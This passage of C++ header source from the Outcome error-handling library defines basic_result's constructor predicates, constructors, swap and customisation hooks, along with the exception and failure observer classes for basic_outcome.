&& ((!detail::is_implicitly_constructible<value_type, error_type> && !detail::is_implicitly_constructible<error_type, value_type>) // if value and error types cannot be constructed into one another
|| (trait::is_error_type<std::decay_t<error_type>>::value // if error type is a whitelisted error type
&& !detail::is_implicitly_constructible<error_type, value_type> // AND which cannot be constructed from the value type
&& std::is_integral<value_type>::value)); // AND the value type is some integral type
// Predicate for the value converting constructor to be available. Weakened to allow result<int, C enum>.
template <class T>
static constexpr bool enable_value_converting_constructor = //
implicit_constructors_enabled //
&& !is_in_place_type_t<std::decay_t<T>>::value // not in place construction
&& !trait::is_error_type_enum<error_type, std::decay_t<T>>::value // not an enum valid for my error type
&& ((detail::is_implicitly_constructible<value_type, T> && !detail::is_implicitly_constructible<error_type, T>) // is unambiguously for value type
|| (std::is_same<value_type, std::decay_t<T>>::value // OR is my value type exactly
&& detail::is_implicitly_constructible<value_type, T>) ); // and my value type is constructible from this ref form of T
// Predicate for the error converting constructor to be available. Weakened to allow result<int, C enum>.
template <class T>
static constexpr bool enable_error_converting_constructor = //
implicit_constructors_enabled //
&& !is_in_place_type_t<std::decay_t<T>>::value // not in place construction
&& !trait::is_error_type_enum<error_type, std::decay_t<T>>::value // not an enum valid for my error type
&& ((!detail::is_implicitly_constructible<value_type, T> && detail::is_implicitly_constructible<error_type, T>) // is unambiguously for error type
|| (std::is_same<error_type, std::decay_t<T>>::value // OR is my error type exactly
&& detail::is_implicitly_constructible<error_type, T>) ); // and my error type is constructible from this ref form of T
// Predicate for the error condition converting constructor to be available.
template <class ErrorCondEnum>
static constexpr bool enable_error_condition_converting_constructor = //
!is_in_place_type_t<std::decay_t<ErrorCondEnum>>::value // not in place construction
&& trait::is_error_type_enum<error_type, std::decay_t<ErrorCondEnum>>::value // is an error condition enum
/*&& !detail::is_implicitly_constructible<value_type, ErrorCondEnum> && !detail::is_implicitly_constructible<error_type, ErrorCondEnum>*/; // not constructible via any other means
// Predicate for the converting copy constructor from a compatible input to be available.
template <class T, class U, class V>
static constexpr bool enable_compatible_conversion = //
(std::is_void<T>::value || detail::is_explicitly_constructible<value_type, typename basic_result<T, U, V>::value_type>) // if our value types are constructible
&&(std::is_void<U>::value || detail::is_explicitly_constructible<error_type, typename basic_result<T, U, V>::error_type>) // if our error types are constructible
;
// Predicate for the implicit converting inplace constructor from a compatible input to be available.
struct disable_inplace_value_error_constructor;
template <class... Args>
using choose_inplace_value_error_constructor = std::conditional_t< //
std::is_constructible<value_type, Args...>::value && std::is_constructible<error_type, Args...>::value, //
disable_inplace_value_error_constructor, //
std::conditional_t< //
std::is_constructible<value_type, Args...>::value, //
value_type, //
std::conditional_t< //
std::is_constructible<error_type, Args...>::value, //
error_type, //
disable_inplace_value_error_constructor>>>;
template <class... Args>
static constexpr bool enable_inplace_value_error_constructor = implicit_constructors_enabled //
&& !std::is_same<choose_inplace_value_error_constructor<Args...>, disable_inplace_value_error_constructor>::value;
};
template <class T, class U> constexpr inline const U &extract_value_from_success(const success_type<U> &v) { return v.value(); }
template <class T, class U> constexpr inline U &&extract_value_from_success(success_type<U> &&v) { return static_cast<success_type<U> &&>(v).value(); }
template <class T> constexpr inline T extract_value_from_success(const success_type<void> & /*unused*/) { return T{}; }
template <class T, class U, class V> constexpr inline const U &extract_error_from_failure(const failure_type<U, V> &v) { return v.error(); }
template <class T, class U, class V> constexpr inline U &&extract_error_from_failure(failure_type<U, V> &&v) { return static_cast<failure_type<U, V> &&>(v).error(); }
template <class T, class V> constexpr inline T extract_error_from_failure(const failure_type<void, V> & /*unused*/) { return T{}; }
template <class T> struct is_basic_result
{
static constexpr bool value = false;
};
template <class R, class S, class T> struct is_basic_result<basic_result<R, S, T>>
{
static constexpr bool value = true;
};
} // namespace detail
/*! AWAITING HUGO JSON CONVERSION TOOL
type alias template <class T> is_basic_result. Potential doc page: `is_basic_result<T>`
*/
template <class T> using is_basic_result = detail::is_basic_result<std::decay_t<T>>;
/*! AWAITING HUGO JSON CONVERSION TOOL
SIGNATURE NOT RECOGNISED
*/
template <class T> static constexpr bool is_basic_result_v = detail::is_basic_result<std::decay_t<T>>::value;
/*! AWAITING HUGO JSON CONVERSION TOOL
SIGNATURE NOT RECOGNISED
*/
namespace hooks
{
/*! AWAITING HUGO JSON CONVERSION TOOL
SIGNATURE NOT RECOGNISED
*/
template <class T, class U> constexpr inline void hook_result_construction(T * /*unused*/, U && /*unused*/) noexcept {}
/*! AWAITING HUGO JSON CONVERSION TOOL
SIGNATURE NOT RECOGNISED
*/
template <class T, class U> constexpr inline void hook_result_copy_construction(T * /*unused*/, U && /*unused*/) noexcept {}
/*! AWAITING HUGO JSON CONVERSION TOOL
SIGNATURE NOT RECOGNISED
*/
template <class T, class U> constexpr inline void hook_result_move_construction(T * /*unused*/, U && /*unused*/) noexcept {}
/*! AWAITING HUGO JSON CONVERSION TOOL
SIGNATURE NOT RECOGNISED
*/
template <class T, class U, class... Args> constexpr inline void hook_result_in_place_construction(T * /*unused*/, in_place_type_t<U> /*unused*/, Args &&... /*unused*/) noexcept {}
/*! AWAITING HUGO JSON CONVERSION TOOL
SIGNATURE NOT RECOGNISED
*/
template <class R, class S, class NoValuePolicy> constexpr inline uint16_t spare_storage(const detail::basic_result_final<R, S, NoValuePolicy> *r) noexcept { return (r->_state._status >> detail::status_2byte_shift) & 0xffff; }
/*! AWAITING HUGO JSON CONVERSION TOOL
SIGNATURE NOT RECOGNISED
*/
template <class R, class S, class NoValuePolicy> constexpr inline void set_spare_storage(detail::basic_result_final<R, S, NoValuePolicy> *r, uint16_t v) noexcept { r->_state._status |= (v << detail::status_2byte_shift); }
} // namespace hooks
/*! AWAITING HUGO JSON CONVERSION TOOL
type definition template <class R, class S, class NoValuePolicy> basic_result. Potential doc page: `basic_result<T, E, NoValuePolicy>`
*/
template <class R, class S, class NoValuePolicy> //
#if !defined(__GNUC__) || __GNUC__ >= 8 // GCC's constraints implementation is buggy
OUTCOME_REQUIRES(trait::type_can_be_used_in_basic_result<R> &&trait::type_can_be_used_in_basic_result<S> && (std::is_void<S>::value || std::is_default_constructible<S>::value)) //
#endif
class OUTCOME_NODISCARD basic_result : public detail::basic_result_final<R, S, NoValuePolicy>
{
static_assert(trait::type_can_be_used_in_basic_result<R>, "The type R cannot be used in a basic_result");
static_assert(trait::type_can_be_used_in_basic_result<S>, "The type S cannot be used in a basic_result");
static_assert(std::is_void<S>::value || std::is_default_constructible<S>::value, "The type S must be void or default constructible");
using base = detail::basic_result_final<R, S, NoValuePolicy>;
struct implicit_constructors_disabled_tag
{
};
struct value_converting_constructor_tag
{
};
struct error_converting_constructor_tag
{
};
struct error_condition_converting_constructor_tag
{
};
struct explicit_valueornone_converting_constructor_tag
{
};
struct explicit_valueorerror_converting_constructor_tag
{
};
public:
using value_type = R;
using error_type = S;
using value_type_if_enabled = typename base::_value_type;
using error_type_if_enabled = typename base::_error_type;
template <class T, class U = S, class V = NoValuePolicy> using rebind = basic_result<T, U, V>;
protected:
// Requirement predicates for result.
struct predicate
{
using base = detail::result_predicates<value_type, error_type>;
// Predicate for any constructors to be available at all
static constexpr bool constructors_enabled = !std::is_same<std::decay_t<value_type>, std::decay_t<error_type>>::value;
// Predicate for implicit constructors to be available at all
static constexpr bool implicit_constructors_enabled = constructors_enabled && base::implicit_constructors_enabled;
// Predicate for the value converting constructor to be available.
template <class T>
static constexpr bool enable_value_converting_constructor = //
constructors_enabled //
&& !std::is_same<std::decay_t<T>, basic_result>::value // not my type
&& base::template enable_value_converting_constructor<T>;
// Predicate for the error converting constructor to be available.
template <class T>
static constexpr bool enable_error_converting_constructor = //
constructors_enabled //
&& !std::is_same<std::decay_t<T>, basic_result>::value // not my type
&& base::template enable_error_converting_constructor<T>;
// Predicate for the error condition converting constructor to be available.
template <class ErrorCondEnum>
static constexpr bool enable_error_condition_converting_constructor = //
constructors_enabled //
&& !std::is_same<std::decay_t<ErrorCondEnum>, basic_result>::value // not my type
&& base::template enable_error_condition_converting_constructor<ErrorCondEnum>;
// Predicate for the converting copy constructor from a compatible input to be available.
template <class T, class U, class V>
static constexpr bool enable_compatible_conversion = //
constructors_enabled //
&& !std::is_same<basic_result<T, U, V>, basic_result>::value // not my type
&& base::template enable_compatible_conversion<T, U, V>;
// Predicate for the inplace construction of value to be available.
template <class... Args>
static constexpr bool enable_inplace_value_constructor = //
constructors_enabled //
&& (std::is_void<value_type>::value //
|| std::is_constructible<value_type, Args...>::value);
// Predicate for the inplace construction of error to be available.
template <class... Args>
static constexpr bool enable_inplace_error_constructor = //
constructors_enabled //
&& (std::is_void<error_type>::value //
|| std::is_constructible<error_type, Args...>::value);
// Predicate for the implicit converting inplace constructor to be available.
template <class... Args>
static constexpr bool enable_inplace_value_error_constructor = //
constructors_enabled //
&&base::template enable_inplace_value_error_constructor<Args...>;
template <class... Args> using choose_inplace_value_error_constructor = typename base::template choose_inplace_value_error_constructor<Args...>;
};
public:
/*! AWAITING HUGO JSON CONVERSION TOOL
SIGNATURE NOT RECOGNISED
*/
basic_result() = delete;
/*! AWAITING HUGO JSON CONVERSION TOOL
SIGNATURE NOT RECOGNISED
*/
basic_result(basic_result && /*unused*/) = default; // NOLINT
/*! AWAITING HUGO JSON CONVERSION TOOL
SIGNATURE NOT RECOGNISED
*/
basic_result(const basic_result & /*unused*/) = default;
/*! AWAITING HUGO JSON CONVERSION TOOL
SIGNATURE NOT RECOGNISED
*/
basic_result &operator=(basic_result && /*unused*/) = default; // NOLINT
/*! AWAITING HUGO JSON CONVERSION TOOL
SIGNATURE NOT RECOGNISED
*/
basic_result &operator=(const basic_result & /*unused*/) = default;
~basic_result() = default;
/*! AWAITING HUGO JSON CONVERSION TOOL
SIGNATURE NOT RECOGNISED
*/
OUTCOME_TEMPLATE(class Arg, class... Args)
OUTCOME_TREQUIRES(OUTCOME_TPRED(!predicate::constructors_enabled && (sizeof...(Args) >= 0)))
basic_result(Arg && /*unused*/, Args &&... /*unused*/) = delete; // NOLINT basic_result<T, T> is NOT SUPPORTED, see docs!
/*! AWAITING HUGO JSON CONVERSION TOOL
SIGNATURE NOT RECOGNISED
*/
OUTCOME_TEMPLATE(class T)
OUTCOME_TREQUIRES(OUTCOME_TPRED((predicate::constructors_enabled && !predicate::implicit_constructors_enabled //
&& (detail::is_implicitly_constructible<value_type, T> || detail::is_implicitly_constructible<error_type, T>) )))
basic_result(T && /*unused*/, implicit_constructors_disabled_tag /*unused*/ = implicit_constructors_disabled_tag()) = delete; // NOLINT Implicit constructors disabled, use explicit in_place_type<T>, success() or failure(). see docs!
/*! AWAITING HUGO JSON CONVERSION TOOL
SIGNATURE NOT RECOGNISED
*/
OUTCOME_TEMPLATE(class T)
OUTCOME_TREQUIRES(OUTCOME_TPRED(predicate::template enable_value_converting_constructor<T>))
constexpr basic_result(T &&t, value_converting_constructor_tag /*unused*/ = value_converting_constructor_tag()) noexcept(std::is_nothrow_constructible<value_type, T>::value) // NOLINT
: base{in_place_type<typename base::value_type>, static_cast<T &&>(t)}
{
using namespace hooks;
hook_result_construction(this, static_cast<T &&>(t));
}
/*! AWAITING HUGO JSON CONVERSION TOOL
SIGNATURE NOT RECOGNISED
*/
OUTCOME_TEMPLATE(class T)
OUTCOME_TREQUIRES(OUTCOME_TPRED(predicate::template enable_error_converting_constructor<T>))
constexpr basic_result(T &&t, error_converting_constructor_tag /*unused*/ = error_converting_constructor_tag()) noexcept(std::is_nothrow_constructible<error_type, T>::value) // NOLINT
: base{in_place_type<typename base::error_type>, static_cast<T &&>(t)}
{
using namespace hooks;
hook_result_construction(this, static_cast<T &&>(t));
}
/*! AWAITING HUGO JSON CONVERSION TOOL
SIGNATURE NOT RECOGNISED
*/
OUTCOME_TEMPLATE(class ErrorCondEnum)
OUTCOME_TREQUIRES(OUTCOME_TEXPR(error_type(make_error_code(ErrorCondEnum()))), //
OUTCOME_TPRED(predicate::template enable_error_condition_converting_constructor<ErrorCondEnum>))
constexpr basic_result(ErrorCondEnum &&t, error_condition_converting_constructor_tag /*unused*/ = error_condition_converting_constructor_tag()) noexcept(noexcept(error_type(make_error_code(static_cast<ErrorCondEnum &&>(t))))) // NOLINT
: base{in_place_type<typename base::error_type>, make_error_code(t)}
{
using namespace hooks;
hook_result_construction(this, static_cast<ErrorCondEnum &&>(t));
}
/*! AWAITING HUGO JSON CONVERSION TOOL
SIGNATURE NOT RECOGNISED
*/
OUTCOME_TEMPLATE(class T)
OUTCOME_TREQUIRES(OUTCOME_TPRED(convert::value_or_error<basic_result, std::decay_t<T>>::enable_result_inputs || !is_basic_result_v<T>), //
OUTCOME_TEXPR(convert::value_or_error<basic_result, std::decay_t<T>>{}(std::declval<T>())))
constexpr explicit basic_result(T &&o, explicit_valueorerror_converting_constructor_tag /*unused*/ = explicit_valueorerror_converting_constructor_tag()) // NOLINT
: basic_result{convert::value_or_error<basic_result, std::decay_t<T>>{}(static_cast<T &&>(o))}
{
}
/*! AWAITING HUGO JSON CONVERSION TOOL
SIGNATURE NOT RECOGNISED
*/
OUTCOME_TEMPLATE(class T, class U, class V)
OUTCOME_TREQUIRES(OUTCOME_TPRED(predicate::template enable_compatible_conversion<T, U, V>))
constexpr explicit basic_result(const basic_result<T, U, V> &o) noexcept(std::is_nothrow_constructible<value_type, T>::value &&std::is_nothrow_constructible<error_type, U>::value)
: base{typename base::compatible_conversion_tag(), o}
{
using namespace hooks;
hook_result_copy_construction(this, o);
}
/*! AWAITING HUGO JSON CONVERSION TOOL
SIGNATURE NOT RECOGNISED
*/
OUTCOME_TEMPLATE(class T, class U, class V)
OUTCOME_TREQUIRES(OUTCOME_TPRED(predicate::template enable_compatible_conversion<T, U, V>))
constexpr explicit basic_result(basic_result<T, U, V> &&o) noexcept(std::is_nothrow_constructible<value_type, T>::value &&std::is_nothrow_constructible<error_type, U>::value)
: base{typename base::compatible_conversion_tag(), static_cast<basic_result<T, U, V> &&>(o)}
{
using namespace hooks;
hook_result_move_construction(this, static_cast<basic_result<T, U, V> &&>(o));
}
/*! AWAITING HUGO JSON CONVERSION TOOL
SIGNATURE NOT RECOGNISED
*/
OUTCOME_TEMPLATE(class... Args)
OUTCOME_TREQUIRES(OUTCOME_TPRED(predicate::template enable_inplace_value_constructor<Args...>))
constexpr explicit basic_result(in_place_type_t<value_type_if_enabled> _, Args &&... args) noexcept(std::is_nothrow_constructible<value_type, Args...>::value)
: base{_, static_cast<Args &&>(args)...}
{
using namespace hooks;
hook_result_in_place_construction(this, in_place_type<value_type>, static_cast<Args &&>(args)...);
}
/*! AWAITING HUGO JSON CONVERSION TOOL
SIGNATURE NOT RECOGNISED
*/
OUTCOME_TEMPLATE(class U, class... Args)
OUTCOME_TREQUIRES(OUTCOME_TPRED(predicate::template enable_inplace_value_constructor<std::initializer_list<U>, Args...>))
constexpr explicit basic_result(in_place_type_t<value_type_if_enabled> _, std::initializer_list<U> il, Args &&... args) noexcept(std::is_nothrow_constructible<value_type, std::initializer_list<U>, Args...>::value)
: base{_, il, static_cast<Args &&>(args)...}
{
using namespace hooks;
hook_result_in_place_construction(this, in_place_type<value_type>, il, static_cast<Args &&>(args)...);
}
/*! AWAITING HUGO JSON CONVERSION TOOL
SIGNATURE NOT RECOGNISED
*/
OUTCOME_TEMPLATE(class... Args)
OUTCOME_TREQUIRES(OUTCOME_TPRED(predicate::template enable_inplace_error_constructor<Args...>))
constexpr explicit basic_result(in_place_type_t<error_type_if_enabled> _, Args &&... args) noexcept(std::is_nothrow_constructible<error_type, Args...>::value)
: base{_, static_cast<Args &&>(args)...}
{
using namespace hooks;
hook_result_in_place_construction(this, in_place_type<error_type>, static_cast<Args &&>(args)...);
}
/*! AWAITING HUGO JSON CONVERSION TOOL
SIGNATURE NOT RECOGNISED
*/
OUTCOME_TEMPLATE(class U, class... Args)
OUTCOME_TREQUIRES(OUTCOME_TPRED(predicate::template enable_inplace_error_constructor<std::initializer_list<U>, Args...>))
constexpr explicit basic_result(in_place_type_t<error_type_if_enabled> _, std::initializer_list<U> il, Args &&... args) noexcept(std::is_nothrow_constructible<error_type, std::initializer_list<U>, Args...>::value)
: base{_, il, static_cast<Args &&>(args)...}
{
using namespace hooks;
hook_result_in_place_construction(this, in_place_type<error_type>, il, static_cast<Args &&>(args)...);
}
/*! AWAITING HUGO JSON CONVERSION TOOL
SIGNATURE NOT RECOGNISED
*/
OUTCOME_TEMPLATE(class A1, class A2, class... Args)
OUTCOME_TREQUIRES(OUTCOME_TPRED(predicate::template enable_inplace_value_error_constructor<A1, A2, Args...>))
constexpr basic_result(A1 &&a1, A2 &&a2, Args &&... args) noexcept(noexcept(typename predicate::template choose_inplace_value_error_constructor<A1, A2, Args...>(std::declval<A1>(), std::declval<A2>(), std::declval<Args>()...)))
: basic_result(in_place_type<typename predicate::template choose_inplace_value_error_constructor<A1, A2, Args...>>, static_cast<A1 &&>(a1), static_cast<A2 &&>(a2), static_cast<Args &&>(args)...)
{
/* I was a little surprised that the below is needed given that we forward to another constructor.
But it turns out that ADL only fires on the first constructor for some reason.
*/
using namespace hooks;
// hook_result_in_place_construction(in_place_type<typename predicate::template choose_inplace_value_error_constructor<A1, A2, Args...>>, this);
}
/*! AWAITING HUGO JSON CONVERSION TOOL
SIGNATURE NOT RECOGNISED
*/
constexpr basic_result(const success_type<void> &o) noexcept(std::is_nothrow_default_constructible<value_type>::value) // NOLINT
: base{in_place_type<value_type_if_enabled>}
{
using namespace hooks;
hook_result_copy_construction(this, o);
}
/*! AWAITING HUGO JSON CONVERSION TOOL
SIGNATURE NOT RECOGNISED
*/
OUTCOME_TEMPLATE(class T)
OUTCOME_TREQUIRES(OUTCOME_TPRED(predicate::template enable_compatible_conversion<T, void, void>))
constexpr basic_result(const success_type<T> &o) noexcept(std::is_nothrow_constructible<value_type, T>::value) // NOLINT
: base{in_place_type<value_type_if_enabled>, detail::extract_value_from_success<value_type>(o)}
{
using namespace hooks;
hook_result_copy_construction(this, o);
}
/*! AWAITING HUGO JSON CONVERSION TOOL
SIGNATURE NOT RECOGNISED
*/
OUTCOME_TEMPLATE(class T)
OUTCOME_TREQUIRES(OUTCOME_TPRED(!std::is_void<T>::value && predicate::template enable_compatible_conversion<T, void, void>))
constexpr basic_result(success_type<T> &&o) noexcept(std::is_nothrow_constructible<value_type, T>::value) // NOLINT
: base{in_place_type<value_type_if_enabled>, detail::extract_value_from_success<value_type>(static_cast<success_type<T> &&>(o))}
{
using namespace hooks;
hook_result_move_construction(this, static_cast<success_type<T> &&>(o));
}
/*! AWAITING HUGO JSON CONVERSION TOOL
SIGNATURE NOT RECOGNISED
*/
OUTCOME_TEMPLATE(class T)
OUTCOME_TREQUIRES(OUTCOME_TPRED(predicate::template enable_compatible_conversion<void, T, void>))
constexpr basic_result(const failure_type<T> &o) noexcept(std::is_nothrow_constructible<error_type, T>::value) // NOLINT
: base{in_place_type<error_type_if_enabled>, detail::extract_error_from_failure<error_type>(o)}
{
using namespace hooks;
hook_result_copy_construction(this, o);
}
/*! AWAITING HUGO JSON CONVERSION TOOL
SIGNATURE NOT RECOGNISED
*/
OUTCOME_TEMPLATE(class T)
OUTCOME_TREQUIRES(OUTCOME_TPRED(predicate::template enable_compatible_conversion<void, T, void>))
constexpr basic_result(failure_type<T> &&o) noexcept(std::is_nothrow_constructible<error_type, T>::value) // NOLINT
: base{in_place_type<error_type_if_enabled>, detail::extract_error_from_failure<error_type>(static_cast<failure_type<T> &&>(o))}
{
using namespace hooks;
hook_result_move_construction(this, static_cast<failure_type<T> &&>(o));
}
/*! AWAITING HUGO JSON CONVERSION TOOL
SIGNATURE NOT RECOGNISED
*/
constexpr void swap(basic_result &o) noexcept(detail::is_nothrow_swappable<value_type>::value &&std::is_nothrow_move_constructible<value_type>::value //
&&detail::is_nothrow_swappable<error_type>::value &&std::is_nothrow_move_constructible<error_type>::value)
{
using std::swap;
constexpr bool value_throws = !noexcept(this->_state.swap(o._state));
constexpr bool error_throws = !noexcept(swap(this->_error, o._error));
detail::basic_result_storage_swap<value_throws, error_throws>(*this, o);
}
/*! AWAITING HUGO JSON CONVERSION TOOL
SIGNATURE NOT RECOGNISED
*/
auto as_failure() const & { return failure(this->assume_error()); }
/*! AWAITING HUGO JSON CONVERSION TOOL
SIGNATURE NOT RECOGNISED
*/
auto as_failure() && { return failure(static_cast<basic_result &&>(*this).assume_error()); }
};
/*! AWAITING HUGO JSON CONVERSION TOOL
SIGNATURE NOT RECOGNISED
*/
template <class R, class S, class P> inline void swap(basic_result<R, S, P> &a, basic_result<R, S, P> &b) noexcept(noexcept(a.swap(b)))
{
a.swap(b);
}
#if !defined(NDEBUG)
// Check is trivial in all ways except default constructibility
// static_assert(std::is_trivial<basic_result<int, long, policy::all_narrow>>::value, "result<int> is not trivial!");
// static_assert(std::is_trivially_default_constructible<basic_result<int, long, policy::all_narrow>>::value, "result<int> is not trivially default constructible!");
static_assert(std::is_trivially_copyable<basic_result<int, long, policy::all_narrow>>::value, "result<int> is not trivially copyable!");
static_assert(std::is_trivially_assignable<basic_result<int, long, policy::all_narrow>, basic_result<int, long, policy::all_narrow>>::value, "result<int> is not trivially assignable!");
static_assert(std::is_trivially_destructible<basic_result<int, long, policy::all_narrow>>::value, "result<int> is not trivially destructible!");
static_assert(std::is_trivially_copy_constructible<basic_result<int, long, policy::all_narrow>>::value, "result<int> is not trivially copy constructible!");
static_assert(std::is_trivially_move_constructible<basic_result<int, long, policy::all_narrow>>::value, "result<int> is not trivially move constructible!");
static_assert(std::is_trivially_copy_assignable<basic_result<int, long, policy::all_narrow>>::value, "result<int> is not trivially copy assignable!");
static_assert(std::is_trivially_move_assignable<basic_result<int, long, policy::all_narrow>>::value, "result<int> is not trivially move assignable!");
// Also check is standard layout
static_assert(std::is_standard_layout<basic_result<int, long, policy::all_narrow>>::value, "result<int> is not a standard layout type!");
#endif
OUTCOME_V2_NAMESPACE_END
#ifdef __clang__
#pragma clang diagnostic pop
#endif
#endif
/* Exception observers for outcome type
(C) 2017 Niall Douglas <http://www.nedproductions.biz/> (59 commits)
File Created: Oct 2017
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License in the accompanying file
Licence.txt or at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
Distributed under the Boost Software License, Version 1.0.
(See accompanying file Licence.txt or copy at
http://www.boost.org/LICENSE_1_0.txt)
*/
#ifndef OUTCOME_BASIC_OUTCOME_EXCEPTION_OBSERVERS_HPP
#define OUTCOME_BASIC_OUTCOME_EXCEPTION_OBSERVERS_HPP
OUTCOME_V2_NAMESPACE_EXPORT_BEGIN
namespace detail
{
template <class Base, class R, class S, class P, class NoValuePolicy> class basic_outcome_exception_observers : public Base
{
public:
using exception_type = P;
using Base::Base;
constexpr inline exception_type &assume_exception() & noexcept;
constexpr inline const exception_type &assume_exception() const &noexcept;
constexpr inline exception_type &&assume_exception() && noexcept;
constexpr inline const exception_type &&assume_exception() const &&noexcept;
constexpr inline exception_type &exception() &;
constexpr inline const exception_type &exception() const &;
constexpr inline exception_type &&exception() &&;
constexpr inline const exception_type &&exception() const &&;
};
// Exception observers not present
template <class Base, class R, class S, class NoValuePolicy> class basic_outcome_exception_observers<Base, R, S, void, NoValuePolicy> : public Base
{
public:
using Base::Base;
constexpr void assume_exception() const noexcept { NoValuePolicy::narrow_exception_check(this); }
constexpr void exception() const { NoValuePolicy::wide_exception_check(this); }
};
} // namespace detail
OUTCOME_V2_NAMESPACE_END
#endif
/* Failure observers for outcome type
(C) 2017 Niall Douglas <http://www.nedproductions.biz/> (59 commits)
File Created: Oct 2017
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License in the accompanying file
Licence.txt or at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
Distributed under the Boost Software License, Version 1.0.
(See accompanying file Licence.txt or copy at
http://www.boost.org/LICENSE_1_0.txt)
*/
#ifndef OUTCOME_BASIC_OUTCOME_FAILURE_OBSERVERS_HPP
#define OUTCOME_BASIC_OUTCOME_FAILURE_OBSERVERS_HPP
OUTCOME_V2_NAMESPACE_EXPORT_BEGIN
namespace detail
{
namespace adl
{
struct search_detail_adl
{
};
OUTCOME_TEMPLATE(class S) //
OUTCOME_TREQUIRES(OUTCOME_TEXPR(basic_outcome_failure_exception_from_error(std::declval<S>()))) //
inline auto _delayed_lookup_basic_outcome_failure_exception_from_error(const S &ec, search_detail_adl /*unused*/)
{
// ADL discovered
return basic_outcome_failure_exception_from_error(ec);
}
} // namespace adl
#if defined(_MSC_VER) && _MSC_VER <= 1920 // VS2019
// VS2017 and VS2019 with /permissive- chokes on the correct form due to over eager early instantiation.
template <class S, class P> inline void _delayed_lookup_basic_outcome_failure_exception_from_error(...) { static_assert(sizeof(S) == 0, "No specialisation for these error and exception types available!"); }
#else
template <class S, class P> inline void _delayed_lookup_basic_outcome_failure_exception_from_error(...) = delete; // NOLINT No specialisation for these error and exception types available!
#endif
template <class exception_type> inline exception_type current_exception_or_fatal(std::exception_ptr e) { std::rethrow_exception(e); }
template <> inline std::exception_ptr current_exception_or_fatal<std::exception_ptr>(std::exception_ptr e) { return e; }
template <class Base, class R, class S, class P, class NoValuePolicy> class basic_outcome_failure_observers : public Base
{
public:
using exception_type = P;
using Base::Base;
exception_type failure() const noexcept
{
#ifdef __cpp_exceptions
try
#endif
{
if((this->_state._status & detail::status_have_exception) != 0)
{
return this->assume_exception();
}
if((this->_state._status & detail::status_have_error) != 0)
{
return _delayed_lookup_basic_outcome_failure_exception_from_error(this->assume_error(), adl::search_detail_adl());
}
return exception_type();
}
#ifdef __cpp_exceptions
catch(...)
{
// Return the failure if exception_type is std::exception_ptr,
// otherwise terminate same as throwing an exception inside noexcept
return current_exception_or_fatal<exception_type>(std::current_exception());
}
#endif
}
};
} // namespace detail
OUTCOME_V2_NAMESPACE_END
#endif
#ifdef __clang__
#pragma clang diagnostic push
#pragma clang diagnostic ignored "-Wdocumentation" // Standardese markup confuses clang
#endif
OUTCOME_V2_NAMESPACE_EXPORT_BEGIN
template <class R, class S, class P, class NoValuePolicy> //
OUTCOME_REQUIRES(trait::type_can_be_used_in_basic_result<P> && (std::is_void<P>::value || std::is_default_constructible<P>::value)) //
class basic_outcome;
namespace detail
{
// May be reused by basic_outcome subclasses to save load on the compiler
template <class value_type, class error_type, class exception_type> struct outcome_predicates
{
using result = result_predicates<value_type, error_type>;
// Predicate for the implicit constructors to be available
static constexpr bool implicit_constructors_enabled = //
result::implicit_constructors_enabled //
&& !detail::is_implicitly_constructible<value_type, exception_type> //
&& !detail::is_implicitly_constructible<error_type, exception_type> //
&& !detail::is_implicitly_constructible<exception_type, value_type> //
&& !detail::is_implicitly_constructible<exception_type, error_type>;
// Predicate for the value converting constructor to be available.
template <class T>
static constexpr bool enable_value_converting_constructor = //
implicit_constructors_enabled //
&&result::template enable_value_converting_constructor<T> //
&& !detail::is_implicitly_constructible<exception_type, T>; // deliberately less tolerant of ambiguity than result's edition
// Predicate for the error converting constructor to be available.
template <class T>
static constexpr bool enable_error_converting_constructor = //
implicit_constructors_enabled //
&&result::template enable_error_converting_constructor<T> //
&& !detail::is_implicitly_constructible<exception_type, T>; // deliberately less tolerant of ambiguity than result's edition
// Predicate for the error condition converting constructor to be available.
template <class ErrorCondEnum>
static constexpr bool enable_error_condition_converting_constructor = result::template enable_error_condition_converting_constructor<ErrorCondEnum> //
&& !detail::is_implicitly_constructible<exception_type, ErrorCondEnum>;
// Predicate for the exception converting constructor to be available.
template <class T>
static constexpr bool enable_exception_converting_constructor = //
implicit_constructors_enabled //
&& !is_in_place_type_t<std::decay_t<T>>::value // not in place construction
&& !detail::is_implicitly_constructible<value_type, T> && !detail::is_implicitly_constructible<error_type, T> && detail::is_implicitly_constructible<exception_type, T>;
// Predicate for the error + exception converting constructor to be available.
template <class T, class U>
static constexpr bool enable_error_exception_converting_constructor = //
implicit_constructors_enabled //
&& !is_in_place_type_t<std::decay_t<T>>::value // not in place construction
&& !detail::is_implicitly_constructible<value_type, T> && detail::is_implicitly_constructible<error_type, T> //
&& !detail::is_implicitly_constructible<value_type, U> && detail::is_implicitly_constructible<exception_type, U>;
// Predicate for the converting copy constructor from a compatible outcome to be available.
template <class T, class U, class V, class W>
static constexpr bool enable_compatible_conversion = //
(std::is_void<T>::value || detail::is_explicitly_constructible<value_type, typename basic_outcome<T, U, V, W>::value_type>) // if our value types are constructible
&&(std::is_void<U>::value || detail::is_explicitly_constructible<error_type, typename basic_outcome<T, U, V, W>::error_type>) // if our error types are constructible
&&(std::is_void<V>::value || detail::is_explicitly_constructible<exception_type, typename basic_outcome<T, U, V, W>::exception_type>) // if our exception types are constructible
;
// Predicate for the implicit converting inplace constructor from a compatible input to be available.
struct disable_inplace_value_error_exception_constructor;
template <class... Args>
using choose_inplace_value_error_exception_constructor = std::conditional_t< //
((static_cast<int>(std::is_constructible<value_type, Args...>::value) + static_cast<int>(std::is_constructible<error_type, Args...>::value) + static_cast<int>(std::is_constructible<exception_type, Args...>::value)) > 1), //
disable_inplace_value_error_exception_constructor, //
std::conditional_t< //
std::is_constructible<value_type, Args...>::value, //
value_type, //
std::conditional_t< //
std::is_constructible<error_type, Args...>::value, //
error_type, //
std::conditional_t< //
std::is_constructible<exception_type, Args...>::value, //
exception_type, //
disable_inplace_value_error_exception_constructor>>>>;
template <class... Args>
